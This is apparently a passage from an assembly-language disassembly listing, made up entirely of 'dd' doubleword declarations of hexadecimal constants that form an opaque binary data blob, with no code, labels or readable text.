		dd 4F83CC2Dh, 63545E0Ch, 44F42972h, 0D744FD68h,	0F88044B0h
		dd 44888E44h, 28A1E36Eh, 0D144164h, 101C12ACh, 0D84025A8h
		dd 0FF79C7C8h, 29924042h, 142E04F0h, 0B700C75Bh, 0C899393Fh
		dd 9C6103D8h, 7D355C6Ah, 906BFCF0h, 0F490603h, 88D7A5C2h
		dd 7A5EC67Ah, 73A400B4h, 45CC40E5h, 781D8BB1h, 39430457h
		dd 98E29E08h, 4FF918h, 2A207CC7h, 942171BEh, 52E95100h
		dd 0F4CA0470h, 4A9D00A3h, 2C285B68h, 0A9001390h, 58C7F779h
		dd 850497h, 65ABB225h, 0E411527Ch, 0FFCBB901h, 0CAF7C1ADh
		dd 55D8C761h, 0B3571FCDh, 382340DCh, 0EF3B4D7Ah, 0B6C531Fh
		dd 0D6114AC3h, 69DBB968h, 0F4E98FF4h, 499901F0h, 592CBCD7h
		dd 20EC40CCh, 320053A8h, 3AA5BEB6h, 99FB70h, 37477BCFh
		dd 6865A7C3h, 0F9C4E303h, 0D0B5618Dh, 0EE25948h, 5DAB4CECh
		dd 0CE2BEA81h, 8116ECA5h, 0E95BAA03h, 0B0C7E761h, 3C754F58h
		dd 9C006682h, 0A95D4088h, 0DE00FD52h, 5159F195h, 0E10346h
		dd 0AE2A3958h, 0A488F255h, 0D007D17Bh, 6991E59Ah, 71C784F0h
		dd 906312DBh, 144000B1h, 6FD01E72h, 0F0D1280Eh,	77172B3Fh
		dd 32FB4481h, 6B1BC4C6h, 0EF6F7D01h, 34286B6h, 4EEAECh
		dd 0CEC209F7h, 0F6938DB7h, 6EB4AF00h, 23C7570Fh, 0D86900E1h
		dd 0CDC4C342h, 2E00C09Ch, 56808663h, 6BB2DCh, 75453EB6h
		dd 0FD42A65Bh, 2CA1900h, 0E74273Fh, 85010EA0h, 0DD40134Fh
		dd 884222A5h, 1C23C4Ch,	42446B1h, 18C89DDFh, 0AB03149Fh
		dd 6600C8B2h, 0CD312093h, 0A6757AC8h, 0F15C1900h, 0FECC0A05h
		dd 65411E8Ch, 0CFC6C79Ch, 0E13C013Ah, 175ECCAFh, 5496810Eh
		dd 39704022h, 4D2E8Dh, 64EB99F6h, 6D7EE736h, 0D2017700h
		dd 0BA805EEDh, 9A9500DFh, 9DCA6F55h, 90A1431Ch,	0D1D9FD7Dh
		dd 9B119F57h, 7F6B9200h, 49B87Eh, 0CFAA36CEh, 4625A1C2h
		dd 0BA347800h, 4CA571D2h, 95F245h, 0D068B8F8h, 482997F7h
		dd 7BD5CD13h, 0E17EE400h, 6C3CB0h, 880FB70Dh, 0F6B1A021h
		dd 0D81CE002h, 82A82DDDh, 386FD6F0h, 0F6483CEAh, 3167004Ch
		dd 1C1ABA09h, 20F2007Eh, 243FE964h, 0CBFA29E5h,	34984B06h
		dd 3C30FE7Ch, 433D5888h, 6200185Ch, 1102EFB5h, 473D6F52h
		dd 2AD60095h, 0C7E54613h, 21C50084h, 8915DA8Dh,	0E7286F9Eh
		dd 1B00F43Eh, 0A7268A24h, 0A08F7B60h, 0A9A1F8h,	0AC5C48Ch
		dd 339F6C13h, 99FC0300h, 85EA2CFEh, 0C412242Fh,	68BC00B8h
		dd 9859779Dh, 79DAE803h, 0F0C0627Ch, 15E751h, 656B8DBEh
		dd 1A1B76F0h, 0FF3DA200h, 525D5B64h, 0F6C80017h, 17EA455h
		dd 0FB097CA7h, 0AFD025h, 0B9ACEF38h, 8BF870h, 0B021FC75h
		dd 0D87C9751h, 0BA924E39h, 0ECD771h, 8C46CF4h, 0E8ECCBh
		dd 55C551FCh, 0CF428848h, 0CC3D451Ch, 0E4BE79h,	0B2794E71h
		dd 0AC63D8h, 23B522EFh,	0BF702FF3h, 0B873D41Ch,	28BB4800h
		dd 0F2276A8h, 0C6CFFBDAh, 0EADF99E1h, 0FD2FE4D5h, 2AF93F00h
		dd 24275380h, 1AE61C15h, 809F1E76h, 63913969h, 930097FBh
		dd 0A0543384h, 1D1A23DFh, 0C070DC5Eh, 9CF4ADFCh, 8F00504Eh
		dd 5BD2E81Fh, 0DBD581h,	67E3777Ch, 9EF66938h, 3A997E00h
		dd 876664F8h, 5FB061h, 2621AF1Ah, 89599684h, 2E0013EEh
		dd 0D4EE0D7Eh, 0FA6916F7h, 40AB00C3h, 97E1E3A0h, 1B3A7209h
		dd 0C8BB80A7h, 5663B0D5h, 640207F6h, 75FD5F58h,	0F7CC00E6h
		dd 0EA05F352h, 9A971901h, 0C69B4B0Eh, 75988F4h,	4FDE420Ah
		dd 1E4C9039h, 180045B7h, 0F874FA80h, 7E5902C3h,	3A34B072h
		dd 0A626EFA5h, 9E780CCh, 12410C3Bh, 1F57420Ah, 0A00A436h
		dd 56DE4C30h, 290D00E5h, 7E07A1D6h, 0ED0208B0h,	0C11C78F7h
		dd 2A04605Ch, 0A84C00D5h, 66714305h, 9900CA48h,	0F9ADC2ACh
		dd 0FD1D02Eh, 0A901B21Ah, 0FDB16260h, 6600ABCAh, 5B4E5E7Eh
		dd 3054BC33h, 0C505FCEh, 0AB036593h, 5575B902h,	6677B009h
		dd 0EF980031h, 4D4ABA4Bh, 49008321h, 6814F119h,	0BF466Ah
		dd 1B457066h, 3FC61AC0h, 8AC26D09h, 28942075h, 0D914A6h
		dd 0BBAA0295h, 8ACEA0B5h, 0FDD76903h, 0F0A11964h, 3B2B408h
		dd 2B2CB616h, 45A8CB79h, 5500FFAEh, 0AC14CD2h, 7E3F20Ch
		dd 0AC4A9B3Fh, 0EBE11001h, 0E8029A2Dh, 8DFEF130h, 1D8C606Ch
		dd 799805BEh, 2412E3h, 4421CEB4h, 5C803B43h, 0A00400B1h
		dd 9885875Fh, 230CA7E6h, 20A19212h, 749A583Eh, 3307216h
		dd 13A6A5CCh, 3A2C1CB8h, 0F058AE00h, 86A22AF7h,	23F500D2h
		dd 919C53DBh, 0C200E281h, 6A39027Dh, 0ADBFD0h, 26CA8331h
		dd 0D801EDB3h, 4125EA09h, 0B60C002Eh, 608D0D47h, 0E38250F3h
		dd 0D501A7B9h, 2D5BC9A0h, 0FD60469Fh, 0F5AB00ADh, 1CE47827h
		dd 1200C803h, 4C7199D4h, 696E36Fh, 7A72F567h, 2E005861h
		dd 0A057AE77h, 3047D299h, 5618B4DEh, 7A0133ECh,	427917EDh
		dd 20749895h, 0B2900A5h, 0F04CA4BBh, 0CF7CB672h, 347F6413h
		dd 0A62DC803h, 0E0258B84h, 4B121Ch, 92D24465h, 373FD099h
		dd 0AAF410C0h, 40A34397h, 477F7C30h, 0EB11C600h, 133D34ACh
		dd 0E542008Ch, 6F8AA532h, 2719C105h, 0D189B128h, 0B0B20330h
		dd 0D2F4001Ch, 3EE91131h, 0C4001676h, 67C859C3h, 0C2335Dh
		dd 0CC4D83B2h, 4FB4F563h, 480F9E1Eh, 41C743DDh,	8900C06Ah
		dd 3A5493h, 0AAB9BAEBh,	0A2A57806h, 0BE653Fh, 9040D596h
		dd 79D9CCh, 1CDE7F8Eh, 506EF13h, 9D024C00h, 957875Dh, 8BCF00E7h
		dd 0DB766F94h, 4404C90Ah, 0E07D84B9h, 0AEFB70C0h, 0E4531FF1h
		dd 0A5F003CEh, 37E08F08h, 41008BC1h, 0F9ACEA8Dh, 7BFC9A76h
		dd 6216001Bh, 30AFE33Ah, 0D5009DFAh, 55870704h,	1DFD8913h
		dd 8006ADEBh, 0FC888071h, 0AC7B6102h, 16301E00h, 0AEF53E72h
		dd 34B22405h, 0FF1F025Ch, 0F8600C42h, 96002061h, 8027F2B5h
		dd 31D4C3h, 0C756874Fh,	8DE72843h, 0C0A0200Eh, 8969806Bh
		dd 314B212h, 6AD20598h,	4A9B17FFh, 0C00CF5BFh, 4F7727EDh
		dd 73DECC07h, 1220ADBEh, 3DC1053h, 918320C3h, 24E0CDAAh
		dd 1B0A4377h, 0E49BBFCAh, 42DC8800h, 19AA5F2h, 36BB7562h
		dd 401E9633h, 7CB828BBh, 7D60FF00h, 5C75DF15h, 6670000Ah
		dd 0F026EBBAh, 0DC71F7DBh, 845B3E3Dh, 12D67786h, 6B916881h
		dd 3672DD4h, 0F03AAED4h, 7FE8555Eh, 0FA07971Eh,	1A1C8224h
		dd 96924C70h, 38064833h, 66015800h, 97DE744h, 4056A1Dh
		dd 70FD11C4h
		dd 53E94B0h, 0BE2E393Dh, 5FAC9067h, 5B09596Ah, 2107B9BFh
		dd 4C88D480h, 868BE8h, 0FF336AA6h, 51DB1FF8h, 0D603DA00h
		dd 50B2DC6Dh, 0D2E5002Dh, 0A9426F81h, 0AF0FCDC0h, 5E54CB9Eh
		dd 7920BF4Ch, 393B0EADh, 0C09C6869h, 0F0CFA659h, 0BF7063F4h
		dd 1807A700h, 5FA55EFEh, 0FB122E52h, 8160001Dh,	0ED10872Ch
		dd 0B20006E2h, 9F74C648h, 0B367F8h, 2F3D42A4h, 1E08668Bh
		dd 314EC116h, 2300F116h, 2544129Ch, 0D8995047h,	63E80043h
		dd 0E74B1A7Ch, 6C5BF24Eh, 0D20031E8h, 7AEBFA8Bh, 0DC00FF59h
		dd 70AE8EB1h, 0A4E061h,	0AB24D8A8h, 0D2C22FFDh,	950F7698h
		dd 0E39394DFh, 2E2BDD64h, 593C19h, 0B56135A2h, 0FF5CA660h
		dd 6911C04h, 5C290300h,	70C0932h, 0E8BD2D1Eh, 1F807B46h
		dd 6E15EB51h, 0C5363300h, 21F8765Dh, 1FAB0A19h,	87BC9703h
		dd 935BE09Eh, 4FA0D4C4h, 5331AB48h, 2182212h, 3487F4h
		dd 7F3991B2h, 0A577F970h, 50B6EC00h, 7378C33Ch,	0D9B000C6h
		dd 5B381857h, 31007E0Dh, 88AD9EA7h, 2620B7F4h, 494472h
		dd 2277AF65h, 0E90005E1h, 0A9DAC85Ah, 3C647315h, 4C003C3Bh
		dd 0BF5EA632h, 7400E18Ch, 12E0AD67h, 756A40DBh,	0AB013DFEh
		dd 9BA6E800h, 8130FD24h, 22FB4700h, 0D2CD3E5Fh,	0C5EA0099h
		dd 527FA1E4h, 0E107EBC8h, 9AD6DFFEh, 1353C10h, 5F9607F0h
		dd 0E0327372h, 19A6484Ch, 8A1A700h, 44526C12h, 5BDB3A36h
		dd 9A314000h, 0D9FF9EAh, 0AD0FD37Ah, 0C038094Dh, 1CD1F32Ah
		dd 83B500B2h, 0ED182D47h, 3D006084h, 0A1D8DB31h, 9BD1D4h
		dd 6D257823h, 2E3C0136h, 919F900Fh, 0C85F604Bh,	0E72308FCh
		dd 0E0F1ECh, 80F761FDh,	0A8D9CF64h, 88BB7900h, 753BA30Eh
		dd 0B75F0EECh, 0E460B111h, 0EBF4079Dh, 7359B848h, 9373C401h
		dd 9C565ABh, 0E7B6F4h, 36C18ADh, 0D817A06Dh, 0D036B224h
		dd 32FB6507h, 0E0212740h, 6C050007h, 0C96023C6h, 980071D3h
		dd 0F84953EDh, 16FB74AEh, 212EB7h, 34AAB8D6h, 260FC07Fh
		dd 0E0D3CA9Fh, 59106177h, 0A5151D85h, 80A49EB5h, 980B868Eh
		dd 3C76D53Fh, 0F212A974h, 0E448D426h, 33DE6024h, 7238CFAAh
		dd 4AD68056h, 36C64915h, 24BAE8F5h, 95D3CF4h, 4200DF43h
		dd 31F81192h, 8405633Eh, 7E41F485h, 9B8214C7h, 0A41F04CCh
		dd 79004BECh, 3315D13Bh, 0F4D9650Bh, 429700F1h,	8BEB1C8Dh
		dd 0BE3EB2CEh, 0A398082h, 0CA81C345h, 0FE0E034Ah, 0F63E44BFh
		dd 0B333C7C8h, 0AF085900h, 0EE2EA412h, 807C01h,	2B530222h
		dd 196D576Ah, 11033400h, 9829B227h, 388D00C6h, 0A178A875h
		dd 4500F31Ch, 0BF91FE86h, 25DAD9h, 4CF2693Dh, 0AFF6CC7Eh
		dd 2A03AC7Eh, 0B9AAD880h, 14D00015h, 4E02D5BAh,	5C1676C6h
		dd 40CAEEh, 46FDC986h, 6FD10024h, 0A1915ECBh, 65001768h
		dd 7B532316h, 8EF33Fh, 2426AC88h, 0FF138A0Fh, 1AD7500h
		dd 0B60A27EDh, 0D3F0770h, 0A25F992Ch, 0D096E9B5h, 38776100h
		dd 1ECD4FC0h, 4C0C2C98h, 0A3B40E65h, 81BBE2C7h,	0F705A940h
		dd 594E7AD8h, 16B55C00h, 48175FD6h, 49C100CDh, 0E9DBC2AEh
		dd 8FEA6536h, 0E07A1628h, 403F3C4Ch, 0B81C2EE0h, 0BDCBCD44h
		dd 0A60002Ch, 0D815E7h,	0C6C33745h, 1F97D9D0h, 0B562700h
		dd 28AC59CAh, 0E0EF0774h, 0A36EEC48h, 43F2EED8h, 291550C0h
		dd 9EF84F90h, 0DC711400h, 2E3092AEh, 3591076Dh,	0C08AD174h
		dd 13860C44h, 0A558E0A0h, 9600B4F6h, 5EF4B7ACh,	1C45D74Ah
		dd 406DDA8Ah, 2103CF6Bh, 0CCF918D6h, 0B50037AFh, 19AD295Bh
		dd 20BC47h, 6993AB2Ch, 0D49A1EFEh, 9D16A570h, 0CCC00402h
		dd 255C3Eh, 84F42622h, 0BD902845h, 0AF676101h, 420E1B31h
		dd 3C752F4h, 9A1823FCh,	7EC1FBF7h, 65FD603Bh, 0BF4C9C00h
		dd 0F46C81F0h, 41592EAFh, 7962C78h, 106BE9B8h, 22EBE717h
		dd 0E3FBF20Eh, 40520098h, 359603h, 2908C15h, 0F2C97AC8h
		dd 6EC550Ah, 0F38B446h,	60545770h, 60672BA6h, 16B60032h
		dd 3D893B18h, 7AE0FDBBh, 433FF300h, 0EB9EE9D7h,	12230135h
		dd 0EA4C97B4h, 0F40220E7h, 0BB955500h, 0C0A1F8Bh, 92A60015h
		dd 0E9CA2AFAh, 1D004482h, 0E27768E8h, 286BB996h, 39A1441h
		dd 0B420F59Dh, 16D88A6Eh, 80025F8h, 0DD97D21Dh,	0D49857h
		dd 9B1CEE76h, 78A970B8h, 0DAB38213h, 9660C400h,	0D55730h
		dd 922EADFDh, 59016DF5h, 0D600449Eh, 9FDEA01Bh,	9B177D7h
		dd 0C2E18EA2h, 0F0F9BC27h, 0A3B9DD12h, 36F6B000h, 0C597547Eh
		dd 19D701A5h, 3A64793Eh, 4A55F0D8h, 0EF93282Eh,	0B39EFA00h
		dd 0CD4DABh, 210BB6C6h,	3C40510Eh, 0E752161Ch, 0D4B361F0h
		dd 47C709Bh, 36872679h,	81998477h, 9FD71764h, 210AB10h
		dd 6804E73Ch, 0C3040F11h, 0D0C0F197h, 79FCD8ABh, 2CA62828h
		dd 0D95C7B98h, 8EFC0758h, 94B64F85h, 34FD0629h,	2098F012h
		dd 0E59BED12h, 0F189BC58h, 0FCE771DAh, 74611433h, 6000106Ch
		dd 5E89D857h, 0BA00C320h, 5D47A2A8h, 0FC7FDCh, 0F05958B3h
		dd 5046BFF3h, 33D3E300h, 9ED65D30h, 9FA902B4h, 8A1783ABh
		dd 3E85FFE0h, 76006CEAh, 53BCCE9Dh, 2EF211h, 0C658597Fh
		dd 75B4FF8Fh, 1864E900h, 3BC79BBAh, 5B6238A7h, 0B2C4C100h
		dd 0E9103284h, 400B2DE0h, 0CAB3B6h, 94BA37F8h, 13FF0FB5h
		dd 77602B9Ch, 0D26CC6A9h, 50FCA800h, 0A7ECEF25h, 22290073h
		dd 0E26AC784h, 0FF00F48Eh, 0D9B7C809h, 51A443Fh, 792BD4DBh
		dd 0B834F2ADh, 10E30B7h, 5F653210h, 0CE9F7007h,	2501916h
		dd 3FD956B0h, 27004396h, 0A09F8CDh, 0DFF857A0h,	0FC3EECF8h
		dd 7CE21E0Fh, 2CF7E9CAh, 1346F31Eh, 1150772Fh, 387106Eh
		dd 170CFFBh, 612805F6h,	420A57h, 24C74BD0h, 0F576F91Eh
		dd 6E378300h, 0B072E489h, 4FB418AFh, 0B2E56196h, 0CC3C60A0h
		dd 1B42D080h, 18F7EC93h, 37B1E3B7h, 0F5F8AED0h,	0C9E4E614h
		dd 2AAC8470h, 1594D707h, 0BC0C802Fh, 0CE63A718h, 0FFA340E8h
		dd 0BB8DD910h, 16DB011Dh, 0CFE2056Eh, 0C17EF759h, 0F02DB915h
		dd 0B81D804Ch, 3DDBEFD9h, 1B9815D3h, 552EA9CEh,	949A9329h
		dd 0C7B17600h, 88DB32h,	75017F5h, 1AD3DF1Fh, 0A8594160h
		dd 9CDEAFh, 2A7FA954h, 0A7B14758h, 417CC000h, 0BA32FA4Dh
		dd 801A60F6h, 0EDEE2CA4h, 41EB9A34h, 980342C1h,	2D388D0h
		dd 2962C0A4h, 84E15A82h, 440AFCD1h, 0F569AE0Eh,	1CB4B6h
		dd 0FBD2FF1h, 801EFC3Ch, 25097A81h, 83731618h, 12632D16h
		dd 403292D9h, 0E870052Ch, 2604937Eh, 11C4BD95h,	0EAC87E80h
		dd 85690A10h, 80809EF6h, 3E3091D1h, 0F2798F70h,	351CF707h
		dd 4FD0FCA2h, 0BB39CD8h, 951DE24Dh, 79CCCE00h, 0D31F4E2Dh
		dd 0F00097C4h, 0B1F10CDAh, 817C6066h, 8B62A5A4h, 32108E00h
		dd 96C99BB8h, 911B50FCh, 0E8154E07h, 0D2C500BCh, 685BDA38h
		dd 0C9C00081h, 0F6AA866Eh, 0A97530D1h, 31C4840Eh, 0EA648185h
		dd 0B9DC68E9h, 0D5B7019Fh, 76E3E0AFh, 0DEF3F453h, 0C122C900h
		dd 0C2274C04h, 93D662Bh, 0E900216Eh, 0DAA4C037h, 3994892h
		dd 0F2201FFAh, 0DED08911h, 0F403256Fh, 0F3CA5CBFh, 72A6A8ADh
		dd 18536129h, 0F0E0AB7Ah, 343EBD0Ch, 0E5787F85h, 0C61CBE00h
		dd 4AAA858h, 92501D87h,	0BCC50C0Bh, 701DAD20h, 0E98FA5D0h
		dd 4DF7C029h, 6906873h,	288B407Eh, 0DE3A2899h, 25B503A9h
		dd 9859A5D2h, 1303C08h,	0F3E7BFB9h, 1010D501h, 19E5805h
		dd 0F798404h, 98A26159h
		dd 20210E08h, 0C89F03FFh, 52E1728Bh, 0E8D3C000h, 0BFBA4501h
		dd 71F76068h, 0A22E406Bh, 74512C06h, 0E06AF0h, 0D8BEA33Eh
		dd 6657F427h, 0FB26E3Ah, 9CB51E8Dh, 989F6080h, 0E879385h
		dd 0C1F13C15h, 0B75E48C0h, 45009BC3h, 0B6BE8939h, 0FEC9CAFh
		dd 0A2A6956Ah, 0BC3350C3h, 7DB55FA8h, 9C8EB300h, 179B4253h
		dd 0B47DADh, 6ED4FB3Ch,	69688AAEh, 484BDE00h, 0D270541Eh
		dd 0A1050CBFh, 82A6557Ah, 391EDCEEh, 0F1806530h, 1B0AAC5Ch
		dd 1F4B3B11h, 0EE570C83h, 35FF29A6h, 21E618A7h,	5C030238h
		dd 504F289Dh, 21FDD0F2h, 0F1A53826h, 6878DB01h,	83ABF603h
		dd 3B12B130h, 0F196DBA6h, 0C5C9AC06h, 0C0AAA7D0h, 24DD7320h
		dd 270C3C05h, 38334C85h, 32BB00CAh, 55E63ED0h, 0F2F8CFEEh
		dd 6586920Ch, 70568ACh,	911C7A21h, 52F9F0E3h, 0DD07DF35h
		dd 6E33B830h, 1C7B0690h, 0F650C011h, 0DA1DC152h, 4140301Fh
		dd 0A320FF58h, 0C25F1FEDh, 158100C6h, 7F631EA7h, 0A471B718h
		dd 0EEF668h, 7973AA69h,	56321AF0h, 10A1C530h, 1E885C53h
		dd 877AEDB6h, 60B14539h, 5551E13Fh, 1300D77Dh, 56229990h
		dd 1DB37CDDh, 0B75D70h,	294CE4ADh, 0C800853Ch, 0AA742271h
		dd 9C255ABh, 0A070B75Bh, 0E50D1380h, 29DC6DE8h,	92012591h
		dd 70B0F63Eh, 20D8087Ch, 39503FDEh, 6B648428h, 19259829h
		dd 414D519Ch, 1139CD14h, 0E811E1F4h, 415191D7h,	0B7F5F202h
		dd 0DC80DB4Dh, 3C7F27B4h, 0F15E600h, 56C596C6h,	0D7A2001Dh
		dd 0CFEFC3C4h, 0D97920F3h, 769DDE00h, 2BB3E4E3h, 812A00D4h
		dd 38610AE1h, 4200F122h, 82F69C25h, 7F8D3E7h, 5D05B94Bh
		dd 0F123D050h, 8D00C2A4h, 0EF3C43F0h, 1726FDh, 35D294F4h
		dd 78967140h, 0CBF08504h, 1B80C18Ah, 770FE4BBh,	0A0320086h
		dd 0A9B50E0Ah, 0DB0098B6h, 0CEBC4A3Dh, 1ED8A5h,	65731440h
		dd 0F8B02541h, 0AC03EEE4h, 4AE37CDCh, 0AA0A88A8h, 0C8500A0h
		dd 0F5C8D9A6h, 0CB5C063Ah, 0D1F000CEh, 0E7AC90F6h, 0CF0D004Eh
		dd 4F71FE57h, 0D6007CFCh, 6CBC2AC0h, 32C45Dh, 0FDA2C269h
		dd 387D323h, 4E11D101h,	891A93DDh, 492BF4h, 0D9E899FBh
		dd 1E2A3D02h, 91BCA600h, 0FE14B366h, 0C78A30F8h, 3C224BA1h
		dd 715A8301h, 587FB75Fh, 0D497DCh, 0E063DE87h, 25BFAE14h
		dd 8E71433Ch, 60120E07h, 9F054982h, 1E90085h, 95D2EB80h
		dd 29C02755h, 6E511875h, 94AE164Ch, 799905C2h, 49303B6h
		dd 82A8FC71h, 5500ECDEh, 4D176383h, 0D5AFF5h, 9E5444B9h
		dd 0F71287D2h, 0EB5EBE03h, 98A36689h, 0EAC6D6D8h, 61A40732h
		dd 0E064B3E9h, 0BBFEAF6Eh, 0DBABEA01h, 0D293F699h, 0B87FB040h
		dd 1C3B3982h, 7BDEA800h, 63E95B23h, 43D20D07h, 92E7DA29h
		dd 0E594A661h, 0FD203880h, 0B8EFA7AFh, 36C69000h, 5EF5D841h
		dd 7AE003h, 1DB34F81h, 22BA139Bh, 0A88DE500h, 7079973Fh
		dd 0CAE900C9h, 0D6F76BA5h, 0A35C7D54h, 0F325057Fh, 0BB001C19h
		dd 136EEF99h, 0E5300086h, 42BFEC91h, 5C90EE02h,	0FC4E380Eh
		dd 0D2F603Dh, 0F5459h, 0DF24EF89h, 997FBE3Fh, 6F00F87Ah
		dd 4EB286B7h, 0B8991h, 470935F3h, 4B723B43h, 0B3D4071Fh
		dd 48698B41h, 1E207A86h, 0D01C0038h, 0DD9CFD58h, 0E5000605h
		dd 85FE8372h, 2053EBh, 0F47F0C65h, 70F12C9Bh, 71E10400h
		dd 95561182h, 0C8DE01A1h, 32BC5B51h, 0E8802007h, 25B12A06h
		dd 7100487h, 4B3E2E42h,	880139F6h, 3059F456h, 23F5A760h
		dd 8F370038h, 0EFCF4AE2h, 82E50710h, 0F3959D3Ah, 93D86368h
		dd 0B400E7E3h, 9F847D3Fh, 7B38DB9h, 90890862h, 0C831005h
		dd 91EE3FCFh, 7ABA7D00h, 0AB57BF8Bh, 0B99300D8h, 295DC981h
		dd 4F01E8D7h, 8E205F1Bh, 9EE844B7h, 62FE1C86h, 260180CFh
		dd 15C2BB52h, 0C5F04F12h, 0DB483400h, 3BB5996Bh, 8A00D8E7h
		dd 74BB9506h, 71004A6Dh, 0E4C898B7h, 64B999h, 0E8A22BD0h
		dd 0D55A937Dh, 0BFE62200h, 0B05ECEDAh, 4D1E3B6Fh, 63E02B80h
		dd 0D5024926h, 0DCADB700h, 9F67A66Ah, 0AAE23CF4h, 2E2B5880h
		dd 9EB988C2h, 8F9B726h,	7240A0Bh, 1C32EC61h, 4FD04083h
		dd 93350021h, 10BFA37Ch, 0FD00B72Ah, 40CDB049h,	0B9605Dh
		dd 0F55F6A9h, 171B97BAh, 81FBFC00h, 7E3FF54Bh, 0EFF900B5h
		dd 9DC57F5Ch, 860077AFh, 0A84C8E95h, 88D38Ah, 754FD709h
		dd 2B1A6556h, 8092075h,	80182861h, 0C869BC6Dh, 0DB60081h
		dd 443B5527h, 1600B85Eh, 96BF5BB1h, 32BC2FEh, 2167F2FBh
		dd 1902732h, 0F6139F08h, 63008CA7h, 51BCF76Ah, 3A2600E9h
		dd 73282272h, 2A00BDA0h, 44C25790h, 0EAB38AEDh,	0F7B889h
		dd 0E33F4D7Eh, 0E5085DDCh, 4464C007h, 750F7A0h,	0CBF585Eh
		dd 41F14324h, 9B719242h, 37CCD400h, 6E11DBB3h, 0AAEF3CD1h
		dd 95C97h, 92F9D27Ah, 6B00419Ah, 0D520E695h, 90710BDFh
		dd 1300FBBh, 1167E210h,	9EDB7058h, 9A7F415Dh, 2CAB9100h
		dd 0CBEF4363h, 3B8E00DCh, 0BFE997DEh, 8000D6F3h, 0C05492ADh
		dd 412EA2h, 25AE95A0h, 0DFC55F97h, 4CB08E00h, 68C0CA3Ah
		dd 0E6C7260h, 0BB9EEE3Bh, 0F735D6C0h, 5400E01Dh, 0B6B85BDFh
		dd 0C44424h, 0A8B953A9h, 0F593C98Ch, 14E3412Eh,	1ECA1B00h
		dd 3235B61h, 0C8300413h, 0A2829DC0h, 0F048FC40h, 0DC53DB00h
		dd 71582BA8h, 59540438h, 0C336D06Eh, 0ABE2EFC0h, 516D48C0h
		dd 0DE7D9A00h, 3ECB14FAh, 9C750081h, 0E783A929h, 0EE1DCE44h
		dd 817C6D76h, 3FFFD7C5h, 0DCFC1B15h, 1EF33FACh,	9C85A6h
		dd 8087A141h, 24001F36h, 53FAC9D9h, 25E7E4h, 0B8E3E9D1h
		dd 2AFDF8Eh, 0D8A481Ch,	0E08BF540h, 7162761Dh, 0ABD9002Ch
		dd 80793F01h, 0FFEA51A2h, 4CC44B0Bh, 0F36813E8h, 43F58088h
		dd 9F870269h, 49AA2C39h, 54488A87h, 0D01EAF90h,	1462C000h
		dd 395B4h, 89B87242h, 0F22F8C51h, 0F0BC5E00h, 6014C973h
		dd 684C00CDh, 0E2E93CBFh, 8F755713h, 0B1235E1Fh, 78053200h
		dd 3A2DD9EDh, 72001C6Ch, 577E1B92h, 0DFEE9493h,	7242348h
		dd 0CDCB315Fh, 0E02BA032h, 890C67h, 0E0FED1Dh, 8B897E3h
		dd 0EBAE5700h, 0A4FD33D5h, 2B2A06Ah, 4718019Ch,	0C71ADB3h
		dd 13D23079h, 8CC70E1Fh, 520FE052h, 55B3C0A9h, 62B914h
		dd 29D24E48h, 2795E325h, 0E16738h, 0C697B5F4h, 3AA1E6Eh
		dd 1D85A157h, 0C9C0F1FDh, 781EACFEh, 7EC56B69h,	84C0A64Ah
		dd 0F5D89DEh, 7B1DBA55h, 0F8797039h, 2600C72Ah,	4CDF98B2h
		dd 0EF49D37h, 0C65165E9h, 0F12D21C0h, 0F7005D27h, 0C85CACC9h
		dd 37CB6B9h, 0A37E4A44h, 65F8245Eh, 2809D898h, 12A23ADh
		dd 0A58D173Ch, 7E5E0800h, 61183603h, 0E3AA450Ah, 55A780C2h
		dd 0F1240001h, 77FC28BCh, 5239519Fh, 41C80037h,	167B20B2h
		dd 230D30A8h, 8EA70A11h, 38301400h, 25E086FEh, 0EC6A59B7h
		dd 0E81F3102h, 72607AB1h, 204E58Ah, 0F2FC94DEh,	2D2E4C80h
		dd 0EBF50071h, 0FB4C8781h, 1F0077A3h, 372621D8h, 109421Ch
		dd 841717Ch, 24B15332h,	1A009450h, 17746A58h, 0FCA53655h
		dd 2AD91FABh, 0B339C18Fh, 0D8B99D18h, 14042054h, 296A81E0h
		dd 53E8E4C0h, 8DEF01B2h, 0FB2A7061h, 47188025h,	654A6C6Dh
		dd 7D55001Eh, 4915640Fh, 42003D3Ch, 0D736B0C6h,	0F9174D1h
		dd 5BB70723h, 533CC340h, 645CB129h, 11A40038h, 0E21A0559h
		dd 41850033h, 92FBFA89h, 0F5000E6Fh, 6D8B8F61h,	244EAF73h
		dd 80141418h, 0E83FFEFBh
		dd 0F8001CD8h, 0B07DA426h, 1E12359h, 0A512142Eh, 30BB6893h
		dd 1B7D513Bh, 0C4FECD00h, 0D3F9FF67h, 506A0945h, 0DC00992Bh
		dd 0ACAF2EDEh, 0D6ABE800h, 9F231728h, 78AA480Eh, 43648D2Ch
		dd 0BEE0689Ah, 4800186Dh, 3787E92h, 78DE654h, 0FDB1EDBBh
		dd 53C5E323h, 5A6EA7F0h, 5D393209h, 460500F6h, 1FD4F8BAh
		dd 403FF299h, 2596DC18h, 4200E8BBh, 0E907BF70h,	0D078FCh
		dd 0A115B7B6h, 25897BCh, 0EAAA800h, 0DE822839h,	7D9C0014h
		dd 0CF67E3F2h, 52011D36h, 6FB65ED6h, 1F2117E4h,	381C31C8h
		dd 59D84766h, 6D20900h,	2D80C6D7h, 9D512C00h, 931E2A59h
		dd 0ECF4396Dh, 0DF1045B0h, 0E2128836h, 7601785Dh, 98312392h
		dd 0AD5420h, 8647B735h,	0ED89DF46h, 0C0029FAh, 92C425D8h
		dd 5C9554E5h, 0B4003523h, 444AD03Dh, 0C10089F0h, 3E2F6F24h
		dd 1DBFEE4h, 0F6879F1Eh, 0F08F1061h, 21079535h,	43C5B248h
		dd 0FD05C730h, 93540689h, 81AC6023h, 1C2C5Ch, 3D8650FFh
		dd 0BFF340h, 35C8C515h,	84DEBB4Ah, 70EDBE1Dh, 84B3B40h
		dd 6FC12Ch, 0B0B83185h,	28658425h, 23E8B07h, 0BC09CB9h
		dd 7046F433h, 8945025Ch, 944D9B15h, 98188940h, 0A2C06775h
		dd 0A49C43A9h, 0D70B3B04h, 0F22E3Bh, 0DD037764h, 5606DE7Ch
		dd 78876100h, 3DFEF5DCh, 0AECF00F2h, 9466090Bh,	5D001B5Fh
		dd 657C01Dh, 671802h, 4C0758C8h, 234A228Ah, 8578E53Dh
		dd 2189D59Ch, 7E1D00FFh, 950C157Bh, 0A03ED800h,	25416764h
		dd 2C3300C8h, 66911EFEh, 0F02E89Fh, 0B715CF30h,	0E094929Ch
		dd 0E49351F8h, 0EBBC03DBh, 59BB6FD2h, 0F42F18F8h, 56132490h
